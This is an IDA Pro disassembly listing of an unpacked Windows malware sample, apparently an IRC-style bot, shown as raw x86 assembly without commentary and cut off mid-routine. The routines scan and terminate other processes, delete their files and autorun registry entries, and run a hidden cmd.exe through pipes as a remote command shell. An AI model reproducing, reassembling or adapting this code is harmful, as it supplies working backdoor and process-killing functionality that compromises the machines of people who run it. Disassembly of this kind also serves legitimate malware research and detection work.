; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; Input MD5 : 8FFFDC8417E12E6B17CD02DF7FF85052 ; File Name : u:\work\8fffdc8417e12e6b17cd02df7ff85052_unpacked.exe ; Format : Portable executable for 80386 (PE) ; Imagebase : 400000 ; Section 1. (virtual address 00001000) ; Virtual size : 00021000 ( 135168.) ; Section size in file : 00021000 ( 135168.) ; Offset to raw data for section: 00001000 ; Flags C0000020: Text Readable Writable ; Alignment : default unicode macro page,string,zero irpc c,<string> db '&c', page endm ifnb <zero> dw zero endif endm .686p .mmx .model flat ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write _data segment para public 'CODE' use32 assume cs:_data ;org 401000h assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401000 proc near ; CODE XREF: sub_401146+31p ; sub_401146+43p ... var_268 = dword ptr -268h var_264 = dword ptr -264h var_260 = byte ptr -260h var_224 = dword ptr -224h var_220 = dword ptr -220h var_21C = dword ptr -21Ch var_218 = byte ptr -218h var_114 = dword ptr -114h var_110 = dword ptr -110h var_10C = byte ptr -10Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 268h and [ebp+var_8], 0 and [ebp+var_4], 0 jmp short loc_40101A ; --------------------------------------------------------------------------- loc_401013: ; CODE XREF: sub_401000+13Cj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_40101A: ; CODE XREF: sub_401000+11j mov eax, [ebp+var_4] cmp off_418000[eax*4], 0 jz loc_401141 mov eax, [ebp+var_4] push off_418000[eax*4] lea eax, [ebp+var_260] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx lea eax, [ebp+var_260] push eax call sub_4105FB pop ecx lea eax, [ebp+var_110] push eax push 3 push 0 lea eax, [ebp+var_260] push eax push [ebp+arg_0] call dword_417008 ; RegOpenKeyExA and [ebp+var_220], 0 jmp short loc_401081 ; --------------------------------------------------------------------------- loc_401074: ; CODE XREF: sub_401000:loc_40112Bj mov eax, [ebp+var_220] inc eax mov [ebp+var_220], eax loc_401081: ; CODE XREF: sub_401000+72j mov [ebp+var_21C], 104h mov [ebp+var_224], 104h lea eax, [ebp+var_224] push eax lea eax, [ebp+var_10C] push eax lea eax, [ebp+var_114] push eax push 0 lea eax, [ebp+var_21C] push eax lea eax, [ebp+var_218] push eax push [ebp+var_220] push [ebp+var_110] call dword_417000 ; RegEnumValueA mov [ebp+var_264], eax cmp [ebp+var_264], 0 jz short loc_4010DD jmp short loc_401130 ; --------------------------------------------------------------------------- loc_4010DD: ; CODE XREF: sub_401000+D9j cmp [ebp+var_114], 1 jnz short loc_40112B push [ebp+arg_4] push [ebp+var_224] lea eax, [ebp+var_10C] push eax call sub_407ACA add esp, 0Ch mov [ebp+var_268], eax cmp [ebp+var_268], 0 jz short loc_40112B lea eax, [ebp+var_218] push eax push [ebp+var_110] call dword_417004 ; RegDeleteValueA test eax, eax jnz short loc_40112B mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax loc_40112B: ; CODE XREF: sub_401000+E4j ; sub_401000+10Bj ... jmp loc_401074 ; --------------------------------------------------------------------------- loc_401130: ; CODE XREF: sub_401000+DBj push [ebp+var_110] call dword_417028 ; RegCloseKey jmp loc_401013 ; --------------------------------------------------------------------------- loc_401141: ; CODE XREF: sub_401000+25j mov eax, [ebp+var_8] leave retn sub_401000 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401146 proc near ; CODE XREF: sub_401244+459p ; sub_40A9CF+A72p var_10C = dword ptr -10Ch var_108 = byte ptr -108h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 10Ch push 80h push [ebp+arg_0] call dword_4170A8 ; SetFileAttributesA test eax, eax jnz short loc_401166 jmp locret_401242 ; --------------------------------------------------------------------------- loc_401166: ; CODE XREF: sub_401146+19j push [ebp+arg_0] call dword_4170AC ; DeleteFileA push [ebp+arg_0] push 80000001h call sub_401000 pop ecx pop ecx mov [ebp+var_4], eax push [ebp+arg_0] push 80000002h call sub_401000 pop ecx pop ecx mov ecx, [ebp+var_4] add ecx, eax mov [ebp+var_4], ecx cmp [ebp+var_4], 0 jnz locret_401242 push 104h push [ebp+arg_0] lea eax, [ebp+var_108] push eax call sub_407A56 add esp, 0Ch lea eax, [ebp+var_108] push eax call sub_416B40 ; strlen pop ecx mov [ebp+var_10C], eax jmp short loc_4011DB ; --------------------------------------------------------------------------- loc_4011CE: ; CODE XREF: sub_401146:loc_40121Aj mov eax, [ebp+var_10C] dec eax mov [ebp+var_10C], eax loc_4011DB: ; CODE XREF: sub_401146+86j cmp [ebp+var_10C], 0 jz short loc_40121C mov eax, [ebp+arg_0] add eax, [ebp+var_10C] movsx eax, byte ptr [eax-1] cmp eax, 5Ch jnz short loc_40121A push 104h mov eax, [ebp+var_10C] lea eax, [ebp+eax+var_108] push eax lea eax, [ebp+var_108] push eax call sub_407A56 add esp, 0Ch jmp short loc_40121C ; --------------------------------------------------------------------------- loc_40121A: ; CODE XREF: sub_401146+AEj jmp short loc_4011CE ; --------------------------------------------------------------------------- loc_40121C: ; CODE XREF: sub_401146+9Cj ; sub_401146+D2j lea eax, [ebp+var_108] push eax push 80000001h call sub_401000 pop ecx pop ecx lea eax, [ebp+var_108] push eax push 80000002h call sub_401000 pop ecx pop ecx locret_401242: ; CODE XREF: sub_401146+1Bj ; sub_401146+56j leave retn sub_401146 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401244 proc near ; DATA XREF: sub_4017AA+9Do var_3E8 = dword ptr -3E8h var_3E4 = byte ptr -3E4h var_3E0 = dword ptr -3E0h var_3DC = dword ptr -3DCh var_3D8 = dword ptr -3D8h var_3D4 = dword ptr -3D4h var_3D0 = dword ptr -3D0h var_3CC = byte ptr -3CCh var_2C8 = dword ptr -2C8h var_2C4 = dword ptr -2C4h var_2C0 = dword ptr -2C0h var_2BC = dword ptr -2BCh var_2B8 = dword ptr -2B8h var_2B4 = dword ptr -2B4h var_2B0 = dword ptr -2B0h var_2AC = dword ptr -2ACh var_2A8 = byte ptr -2A8h var_2A7 = dword ptr -2A7h var_2A3 = byte ptr -2A3h var_1A3 = byte ptr -1A3h var_B = byte ptr -0Bh arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 3E8h push esi push edi push 2ACh push [ebp+arg_0] lea eax, [ebp+var_2AC] push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_0] call sub_416B4C ; free pop ecx movzx eax, [ebp+var_2A8] test eax, eax jz short loc_40129D lea eax, [ebp+var_2A3] push eax mov eax, [ebp+var_2AC] push dword ptr [eax] push offset dword_418144 lea eax, [ebp+var_1A3] push eax call sub_40D53F add esp, 10h loc_40129D: ; CODE XREF: sub_401244+34j call sub_406041 mov [ebp+var_2B4], eax cmp [ebp+var_2B4], 0 jnz short loc_4012C4 push [ebp+var_2AC] call sub_409763 pop ecx xor eax, eax jmp loc_4017A4 ; --------------------------------------------------------------------------- loc_4012C4: ; CODE XREF: sub_401244+6Bj push 10000h call sub_416B46 ; malloc pop ecx mov [ebp+var_2B8], eax and [ebp+var_2BC], 0 and [ebp+var_2B0], 0 jmp short loc_4012F2 ; --------------------------------------------------------------------------- loc_4012E5: ; CODE XREF: sub_401244+E2j ; sub_401244+12Bj ... mov eax, [ebp+var_2B0] inc eax mov [ebp+var_2B0], eax loc_4012F2: ; CODE XREF: sub_401244+9Fj mov eax, [ebp+var_2B4] mov ecx, [ebp+var_2B0] cmp ecx, [eax] jge loc_401710 mov esi, [ebp+var_2B0] imul esi, 114h mov eax, [ebp+var_2B4] mov edi, [eax+4] call dword_4170E8 ; GetCurrentProcessId cmp [edi+esi], eax jnz short loc_401328 jmp short loc_4012E5 ; --------------------------------------------------------------------------- loc_401328: ; CODE XREF: sub_401244+E0j push 104h lea eax, [ebp+var_3CC] push eax push 0 call dword_41708C ; GetModuleHandleA push eax call dword_417090 ; GetModuleFileNameA mov eax, [ebp+var_2B0] imul eax, 114h mov ecx, [ebp+var_2B4] mov ecx, [ecx+4] lea eax, [ecx+eax+0Ch] push eax lea eax, [ebp+var_3CC] push eax call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_401374 jmp loc_4012E5 ; --------------------------------------------------------------------------- loc_401374: ; CODE XREF: sub_401244+129j mov eax, [ebp+var_2B0] imul eax, 114h mov ecx, [ebp+var_2B4] mov ecx, [ecx+4] push dword ptr [ecx+eax] push 0 movzx eax, [ebp+var_2A8] neg eax sbb eax, eax add eax, 11h push eax call dword_417094 ; OpenProcess mov [ebp+var_2C4], eax cmp [ebp+var_2C4], 0 jnz short loc_4013B7 jmp loc_4012E5 ; --------------------------------------------------------------------------- loc_4013B7: ; CODE XREF: sub_401244+16Cj and [ebp+var_2C0], 0 and [ebp+var_2C8], 0 loc_4013C5: ; CODE XREF: sub_401244:loc_4016FAj mov eax, [ebp+var_2B0] imul eax, 114h mov ecx, [ebp+var_2B4] mov ecx, [ecx+4] mov eax, [ecx+eax+8] sub eax, [ebp+var_2C0] cmp eax, 10000h jbe short loc_4013F7 mov [ebp+var_3E8], 10000h jmp short loc_40141C ; --------------------------------------------------------------------------- loc_4013F7: ; CODE XREF: sub_401244+1A5j mov eax, [ebp+var_2B0] imul eax, 114h mov ecx, [ebp+var_2B4] mov ecx, [ecx+4] mov eax, [ecx+eax+8] sub eax, [ebp+var_2C0] mov [ebp+var_3E8], eax loc_40141C: ; CODE XREF: sub_401244+1B1j mov eax, [ebp+var_3E8] mov [ebp+var_3D0], eax lea eax, [ebp+var_2C8] push eax push [ebp+var_3D0] push [ebp+var_2B8] mov eax, [ebp+var_2B0] imul eax, 114h mov ecx, [ebp+var_2B4] mov ecx, [ecx+4] mov eax, [ecx+eax+4] add eax, [ebp+var_2C0] push eax push [ebp+var_2C4] call dword_417098 ; ReadProcessMemory mov [ebp+var_3D4], eax cmp [ebp+var_3D4], 0 jz loc_4016C5 cmp [ebp+var_2C8], 0 jz loc_4016C5 and [ebp+var_3D8], 0 and [ebp+var_3DC], 0 loc_401495: ; DATA XREF: .data:0041AD00o jmp short loc_4014A4 ; --------------------------------------------------------------------------- loc_401497: ; CODE XREF: sub_401244:loc_4015DBj mov eax, [ebp+var_3DC] inc eax mov [ebp+var_3DC], eax loc_4014A4: ; CODE XREF: sub_401244:loc_401495j mov eax, [ebp+var_2C8] sub eax, [ebp+var_2A7] cmp [ebp+var_3DC], eax ja loc_4015E0 mov eax, [ebp+var_2B8] add eax, [ebp+var_3DC] movsx eax, byte ptr [eax] movsx ecx, [ebp+var_2A3] cmp eax, ecx jz short loc_401514 mov eax, [ebp+var_2B8] add eax, [ebp+var_3DC] movsx eax, byte ptr [eax] movsx ecx, [ebp+var_2A3] add ecx, 20h cmp eax, ecx jz short loc_401514 mov eax, [ebp+var_2B8] add eax, [ebp+var_3DC] movsx eax, byte ptr [eax] movsx ecx, [ebp+var_2A3] sub ecx, 20h cmp eax, ecx jnz loc_4015DB loc_401514: ; CODE XREF: sub_401244+290j ; sub_401244+2ADj mov [ebp+var_3E0], 1 jmp short loc_40152D ; --------------------------------------------------------------------------- loc_401520: ; CODE XREF: sub_401244:loc_4015D6j mov eax, [ebp+var_3E0] inc eax mov [ebp+var_3E0], eax loc_40152D: ; CODE XREF: sub_401244+2DAj mov eax, [ebp+var_3E0] movsx eax, [ebp+eax+var_2A3] test eax, eax jnz short loc_401556 mov eax, [ebp+var_2B8] add eax, [ebp+var_3DC] mov [ebp+var_3D8], eax jmp loc_40179F ; --------------------------------------------------------------------------- loc_401556: ; CODE XREF: sub_401244+2F9j mov eax, [ebp+var_3E0] movsx eax, [ebp+eax+var_2A3] mov ecx, [ebp+var_3DC] add ecx, [ebp+var_3E0] mov edx, [ebp+var_2B8] movsx ecx, byte ptr [edx+ecx] cmp eax, ecx jz short loc_4015D6 mov eax, [ebp+var_3E0] movsx eax, [ebp+eax+var_2A3] mov ecx, [ebp+var_3DC] add ecx, [ebp+var_3E0] mov edx, [ebp+var_2B8] movsx ecx, byte ptr [edx+ecx] add ecx, 20h cmp eax, ecx jz short loc_4015D6 mov eax, [ebp+var_3E0] movsx eax, [ebp+eax+var_2A3] mov ecx, [ebp+var_3DC] add ecx, [ebp+var_3E0] mov edx, [ebp+var_2B8] movsx ecx, byte ptr [edx+ecx] sub ecx, 20h cmp eax, ecx jz short loc_4015D6 jmp short loc_4015DB ; --------------------------------------------------------------------------- loc_4015D6: ; CODE XREF: sub_401244+338j ; sub_401244+363j ... jmp loc_401520 ; --------------------------------------------------------------------------- loc_4015DB: ; CODE XREF: sub_401244+2CAj ; sub_401244+390j jmp loc_401497 ; --------------------------------------------------------------------------- loc_4015E0: ; CODE XREF: sub_401244+272j ; sub_401244:loc_40179Fj cmp [ebp+var_3D8], 0 jz loc_4016C5 mov eax, [ebp+var_2BC] inc eax mov [ebp+var_2BC], eax movzx eax, [ebp+var_2A8] test eax, eax jz short loc_401675 push 3E8h call dword_41709C ; Sleep mov al, [ebp+var_B] mov [ebp+var_3E4], al and [ebp+var_B], 0 mov eax, [ebp+var_2B0] imul eax, 114h mov ecx, [ebp+var_2B4] mov ecx, [ecx+4] push dword ptr [ecx+eax] mov eax, [ebp+var_2B0] imul eax, 114h mov ecx, [ebp+var_2B4] mov ecx, [ecx+4] lea eax, [ecx+eax+0Ch] push eax lea eax, [ebp+var_2A3] push eax push offset dword_41811C lea eax, [ebp+var_1A3] push eax call sub_40D53F add esp, 14h mov al, [ebp+var_3E4] mov [ebp+var_B], al jmp short loc_4016A3 ; --------------------------------------------------------------------------- loc_401675: ; CODE XREF: sub_401244+3BFj push 0 push [ebp+var_2C4] call dword_4170A0 ; TerminateProcess mov eax, [ebp+var_2B0] imul eax, 114h mov ecx, [ebp+var_2B4] mov ecx, [ecx+4] lea eax, [ecx+eax+0Ch] push eax call sub_401146 pop ecx loc_4016A3: ; CODE XREF: sub_401244+42Fj mov eax, [ebp+var_2AC] cmp dword ptr [eax+4], 0 jz short loc_4016C0 push [ebp+var_2C4] call dword_4170A4 ; CloseHandle jmp loc_40179A ; --------------------------------------------------------------------------- loc_4016C0: ; CODE XREF: sub_401244+469j jmp loc_401795 ; --------------------------------------------------------------------------- loc_4016C5: ; CODE XREF: sub_401244+230j ; sub_401244+23Dj ... mov eax, [ebp+var_2C0] add eax, [ebp+var_3D0] mov [ebp+var_2C0], eax mov eax, [ebp+var_2B0] imul eax, 114h mov ecx, [ebp+var_2B4] mov ecx, [ecx+4] mov edx, [ebp+var_2C0] cmp edx, [ecx+eax+8] jnz short loc_4016FA jmp short loc_4016FF ; --------------------------------------------------------------------------- loc_4016FA: ; CODE XREF: sub_401244+4B2j jmp loc_4013C5 ; --------------------------------------------------------------------------- loc_4016FF: ; CODE XREF: sub_401244+4B4j ; sub_401244:loc_401795j push [ebp+var_2C4] call dword_4170A4 ; CloseHandle jmp loc_4012E5 ; --------------------------------------------------------------------------- loc_401710: ; CODE XREF: sub_401244+BCj ; sub_401244:loc_40179Aj push [ebp+var_2B4] call sub_40636E pop ecx push [ebp+var_2B8] call sub_416B4C ; free pop ecx movzx eax, [ebp+var_2A8] test eax, eax jz short loc_401785 push 3E8h call dword_41709C ; Sleep cmp [ebp+var_2BC], 0 jnz short loc_401764 lea eax, [ebp+var_2A3] push eax push offset dword_4180F8 lea eax, [ebp+var_1A3] push eax call sub_40D53F add esp, 0Ch jmp short loc_401785 ; --------------------------------------------------------------------------- loc_401764: ; CODE XREF: sub_401244+501j lea eax, [ebp+var_2A3] push eax push [ebp+var_2BC] push offset dword_4180CC lea eax, [ebp+var_1A3] push eax call sub_40D53F add esp, 10h loc_401785: ; CODE XREF: sub_401244+4EDj ; sub_401244+51Ej push [ebp+var_2AC] call sub_409763 pop ecx xor eax, eax jmp short loc_4017A4 ; --------------------------------------------------------------------------- loc_401795: ; CODE XREF: sub_401244:loc_4016C0j jmp loc_4016FF ; --------------------------------------------------------------------------- loc_40179A: ; CODE XREF: sub_401244+477j jmp loc_401710 ; --------------------------------------------------------------------------- loc_40179F: ; CODE XREF: sub_401244+30Dj jmp loc_4015E0 ; --------------------------------------------------------------------------- loc_4017A4: ; CODE XREF: sub_401244+7Bj ; sub_401244+54Fj pop edi pop esi leave retn 4 sub_401244 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4017AA proc near ; CODE XREF: sub_40A9CF+AA1p ; sub_40A9CF+AD2p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp push ecx push ecx cmp [ebp+arg_4], 0 jz short loc_4017C2 push [ebp+arg_4] call sub_416B40 ; strlen pop ecx test eax, eax jnz short loc_4017C7 loc_4017C2: ; CODE XREF: sub_4017AA+9j jmp locret_401854 ; --------------------------------------------------------------------------- loc_4017C7: ; CODE XREF: sub_4017AA+16j push 2ACh call sub_416B46 ; malloc pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_4017DD jmp short locret_401854 ; --------------------------------------------------------------------------- loc_4017DD: ; CODE XREF: sub_4017AA+2Fj mov eax, [ebp+var_4] mov cl, [ebp+arg_8] mov [eax+4], cl push [ebp+arg_4] call sub_416B40 ; strlen pop ecx mov ecx, [ebp+var_4] mov [ecx+5], eax push 100h push [ebp+arg_4] mov eax, [ebp+var_4] add eax, 9 push eax call sub_416B58 ; strncpy add esp, 0Ch push [ebp+arg_0] mov eax, [ebp+var_4] add eax, 109h push eax call sub_405F67 pop ecx pop ecx movzx eax, [ebp+arg_8] test eax, eax jz short loc_401830 mov [ebp+var_8], offset aListing ; "Listing" jmp short loc_401837 ; --------------------------------------------------------------------------- loc_401830: ; CODE XREF: sub_4017AA+7Bj mov [ebp+var_8], offset aKilling ; "Killing" loc_401837: ; CODE XREF: sub_4017AA+84j push [ebp+arg_4] push [ebp+var_8] push offset dword_418174 push 0 push [ebp+var_4] push offset sub_401244 call sub_4095A4 add esp, 18h locret_401854: ; CODE XREF: sub_4017AA:loc_4017C2j ; sub_4017AA+31j leave retn sub_4017AA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401856 proc near ; CODE XREF: sub_401981+A8p ; sub_401981+E1p ... push ebp mov ebp, esp cmp dword_41DE24, 0FFFFFFFFh jz short loc_40186E push dword_41DE24 call dword_4170A4 ; CloseHandle loc_40186E: ; CODE XREF: sub_401856+Aj cmp dword_41DE18, 0FFFFFFFFh jz short loc_401883 push dword_41DE18 call dword_4170A4 ; CloseHandle loc_401883: ; CODE XREF: sub_401856+1Fj cmp dword_41DE1C, 0FFFFFFFFh jz short loc_401898 push dword_41DE1C call dword_4170A4 ; CloseHandle loc_401898: ; CODE XREF: sub_401856+34j cmp dword_41DE20, 0FFFFFFFFh jz short loc_4018AD push dword_41DE20 call dword_4170A4 ; CloseHandle loc_4018AD: ; CODE XREF: sub_401856+49j pop ebp retn sub_401856 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4018AF proc near ; CODE XREF: sub_401981+28Ap ; sub_401981+395p var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 200h mov eax, [ebp+arg_0] movsx eax, byte ptr [eax+189h] test eax, eax jnz short loc_4018D4 mov eax, [ebp+arg_0] movsx eax, byte ptr [eax+18Dh] test eax, eax jz short loc_401922 loc_4018D4: ; CODE XREF: sub_4018AF+15j ; sub_4018AF:loc_401920j push 32h call dword_41709C ; Sleep mov eax, [ebp+arg_0] movsx eax, byte ptr [eax+189h] test eax, eax jz short loc_4018FE call sub_416B64 ; clock sub eax, dword_41DE2C cmp eax, 1F4h jb short loc_4018FE jmp short loc_401922 ; --------------------------------------------------------------------------- loc_4018FE: ; CODE XREF: sub_4018AF+39j ; sub_4018AF+4Bj mov eax, [ebp+arg_0] movsx eax, byte ptr [eax+18Dh] test eax, eax jz short loc_401920 call sub_416B64 ; clock sub eax, dword_41DE2C cmp eax, 0FAh jb short loc_401920 jmp short loc_401922 ; --------------------------------------------------------------------------- loc_401920: ; CODE XREF: sub_4018AF+5Bj ; sub_4018AF+6Dj jmp short loc_4018D4 ; --------------------------------------------------------------------------- loc_401922: ; CODE XREF: sub_4018AF+23j ; sub_4018AF+4Dj ... call sub_416B64 ; clock mov dword_41DE2C, eax mov eax, [ebp+arg_4] movsx eax, byte ptr [eax] cmp eax, 0Ah jz short loc_401942 mov eax, [ebp+arg_4] movsx eax, byte ptr [eax] cmp eax, 0Dh jnz short loc_401957 loc_401942: ; CODE XREF: sub_4018AF+86j push offset dword_4181A4 lea eax, [ebp+var_200] push eax call sub_416B5E ; sprintf pop ecx pop ecx jmp short loc_40196E ; --------------------------------------------------------------------------- loc_401957: ; CODE XREF: sub_4018AF+91j push 200h push [ebp+arg_4] lea eax, [ebp+var_200] push eax call sub_407A56 add esp, 0Ch loc_40196E: ; CODE XREF: sub_4018AF+A6j lea eax, [ebp+var_200] push eax push [ebp+arg_0] call sub_40D53F pop ecx pop ecx leave retn sub_4018AF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401981 proc near ; DATA XREF: sub_401D6E+88o var_730 = dword ptr -730h var_72C = dword ptr -72Ch var_728 = dword ptr -728h var_724 = dword ptr -724h var_720 = dword ptr -720h var_714 = dword ptr -714h var_510 = byte ptr -510h var_36C = dword ptr -36Ch var_368 = dword ptr -368h var_364 = dword ptr -364h var_360 = dword ptr -360h var_334 = dword ptr -334h var_330 = word ptr -330h var_328 = dword ptr -328h var_324 = dword ptr -324h var_320 = dword ptr -320h var_31C = byte ptr -31Ch var_318 = dword ptr -318h var_314 = dword ptr -314h var_310 = dword ptr -310h var_30C = byte ptr -30Ch var_208 = dword ptr -208h var_204 = byte ptr -204h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 730h push 3A7h push [ebp+arg_0] lea eax, [ebp+var_714] push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_0] call sub_416B4C ; free pop ecx call sub_416B64 ; clock sub eax, 1F4h mov dword_41DE2C, eax push 0 lea eax, [ebp+var_30C] push eax push 104h push 0 push offset aCmd_exe ; "cmd.exe" push 0 call dword_41706C ; SearchPathA test eax, eax jnz short loc_4019ED push [ebp+var_714] call sub_409763 pop ecx xor eax, eax jmp locret_401D35 ; --------------------------------------------------------------------------- loc_4019ED: ; CODE XREF: sub_401981+57j mov [ebp+var_318], 0Ch mov [ebp+var_310], 1 and [ebp+var_314], 0 push 0 lea eax, [ebp+var_318] push eax lea eax, [ebp+var_368] push eax lea eax, [ebp+var_364] push eax call dword_417070 ; CreatePipe test eax, eax jnz short loc_401A41 call sub_401856 push [ebp+var_714] call sub_409763 pop ecx xor eax, eax jmp locret_401D35 ; --------------------------------------------------------------------------- loc_401A41: ; CODE XREF: sub_401981+A6j push 0 lea eax, [ebp+var_318] push eax lea eax, [ebp+var_36C] push eax lea eax, [ebp+var_728] push eax call dword_417070 ; CreatePipe test eax, eax jnz short loc_401A7A call sub_401856 push [ebp+var_714] call sub_409763 pop ecx xor eax, eax jmp locret_401D35 ; --------------------------------------------------------------------------- loc_401A7A: ; CODE XREF: sub_401981+DFj push 3 push 0 push 0 push offset dword_41DE20 call dword_417074 ; GetCurrentProcess push eax push [ebp+var_36C] call dword_417074 ; GetCurrentProcess push eax call dword_4170F0 ; DuplicateHandle test eax, eax jnz short loc_401ABB call sub_401856 push [ebp+var_714] call sub_409763 pop ecx xor eax, eax jmp locret_401D35 ; --------------------------------------------------------------------------- loc_401ABB: ; CODE XREF: sub_401981+120j push 10h push 0 lea eax, [ebp+var_724] push eax call sub_416B6A ; memset add esp, 0Ch push 44h push 0 lea eax, [ebp+var_360] push eax call sub_416B6A ; memset add esp, 0Ch mov [ebp+var_360], 44h mov [ebp+var_334], 101h and [ebp+var_330], 0 mov eax, [ebp+var_728] mov [ebp+var_328], eax mov eax, [ebp+var_368] mov [ebp+var_324], eax mov eax, [ebp+var_368] mov [ebp+var_320], eax lea eax, [ebp+var_724] push eax lea eax, [ebp+var_360] push eax push 0 push 0 push 0 push 1 push 0 push 0 push offset byte_41DE30 lea eax, [ebp+var_30C] push eax call dword_41707C ; CreateProcessA test eax, eax jnz short loc_401B69 call sub_401856 push [ebp+var_714] call sub_409763 pop ecx xor eax, eax jmp locret_401D35 ; --------------------------------------------------------------------------- loc_401B69: ; CODE XREF: sub_401981+1CEj push [ebp+var_728] call dword_4170A4 ; CloseHandle mov eax, [ebp+var_364] mov dword_41DE24, eax mov eax, [ebp+var_36C] mov dword_41DE18, eax mov eax, [ebp+var_724] mov dword_41DE1C, eax push [ebp+var_720] call dword_4170A4 ; CloseHandle and [ebp+var_4], 0 and [ebp+var_208], 0 loc_401BAD: ; CODE XREF: sub_401981+2E9j ; sub_401981+39Cj mov eax, [ebp+var_714] cmp dword ptr [eax+4], 0 jz short loc_401BBE jmp loc_401D22 ; --------------------------------------------------------------------------- loc_401BBE: ; CODE XREF: sub_401981+236j and [ebp+var_208], 0 push 200h push 0 lea eax, [ebp+var_204] push eax call sub_416B6A ; memset add esp, 0Ch push 0 push 0 lea eax, [ebp+var_4] push eax push 200h lea eax, [ebp+var_204] push eax push dword_41DE24 call dword_417080 ; PeekNamedPipe test eax, eax jnz short loc_401C17 push offset aCouldNotReadDa ; "Could not read data from process." lea eax, [ebp+var_510] push eax call sub_4018AF pop ecx pop ecx jmp loc_401D22 ; --------------------------------------------------------------------------- loc_401C17: ; CODE XREF: sub_401981+27Cj cmp [ebp+var_4], 0 jnz short loc_401C6F mov [ebp+var_730], 103h lea eax, [ebp+var_730] push eax push dword_41DE1C call dword_417084 ; GetExitCodeProcess test eax, eax jz short loc_401C62 cmp [ebp+var_730], 103h jz short loc_401C62 push offset aCmd_exeProcess ; "Cmd.exe process has terminated." lea eax, [ebp+var_510] push eax call sub_40D53F pop ecx pop ecx jmp loc_401D22 ; --------------------------------------------------------------------------- loc_401C62: ; CODE XREF: sub_401981+2BBj ; sub_401981+2C7j push 0Ah call dword_41709C ; Sleep jmp loc_401BAD ; --------------------------------------------------------------------------- loc_401C6F: ; CODE XREF: sub_401981+29Aj and [ebp+var_72C], 0 jmp short loc_401C85 ; --------------------------------------------------------------------------- loc_401C78: ; CODE XREF: sub_401981:loc_401CAFj mov eax, [ebp+var_72C] inc eax mov [ebp+var_72C], eax loc_401C85: ; CODE XREF: sub_401981+2F5j mov eax, [ebp+var_72C] cmp eax, [ebp+var_4] jnb short loc_401CB1 mov eax, [ebp+var_72C] movsx eax, [ebp+eax+var_204] cmp eax, 0Ah jnz short loc_401CAF mov [ebp+var_208], 1 jmp short loc_401CB1 ; --------------------------------------------------------------------------- loc_401CAF: ; CODE XREF: sub_401981+320j jmp short loc_401C78 ; --------------------------------------------------------------------------- loc_401CB1: ; CODE XREF: sub_401981+30Dj ; sub_401981+32Cj cmp [ebp+var_208], 0 jz short loc_401CC6 mov eax, [ebp+var_72C] inc eax mov [ebp+var_4], eax jmp short loc_401CCD ; --------------------------------------------------------------------------- loc_401CC6: ; CODE XREF: sub_401981+337j mov [ebp+var_4], 200h loc_401CCD: ; CODE XREF: sub_401981+343j push 200h push 0 lea eax, [ebp+var_204] push eax call sub_416B6A ; memset add esp, 0Ch push 0 lea eax, [ebp+var_31C] push eax push [ebp+var_4] lea eax, [ebp+var_204] push eax push dword_41DE24 call dword_417088 ; ReadFile test eax, eax jnz short loc_401D08 jmp short loc_401D22 ; --------------------------------------------------------------------------- loc_401D08: ; CODE XREF: sub_401981+383j lea eax, [ebp+var_204] push eax lea eax, [ebp+var_510] push eax call sub_4018AF pop ecx pop ecx jmp loc_401BAD ; --------------------------------------------------------------------------- loc_401D22: ; CODE XREF: sub_401981+238j ; sub_401981+291j ... call sub_401856 push [ebp+var_714] call sub_409763 pop ecx xor eax, eax locret_401D35: ; CODE XREF: sub_401981+67j ; sub_401981+BBj ... leave retn 4 sub_401981 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401D39 proc near ; CODE XREF: sub_401D6E+AFp var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push [ebp+arg_0] call sub_416B40 ; strlen pop ecx mov [ebp+var_4], eax push 0 lea eax, [ebp+var_4] push eax push [ebp+var_4] push [ebp+arg_0] push dword_41DE20 call dword_417068 ; WriteFile test eax, eax jnz short loc_401D69 xor eax, eax jmp short locret_401D6C ; --------------------------------------------------------------------------- loc_401D69: ; CODE XREF: sub_401D39+2Aj push 1 pop eax locret_401D6C: ; CODE XREF: sub_401D39+2Ej leave retn sub_401D39 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401D6E proc near ; CODE XREF: sub_40A9CF+14A0p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] movsx eax, byte ptr [eax+198h] test eax, eax jz short loc_401DA6 cmp [ebp+arg_4], 0 jnz short loc_401D8B jmp 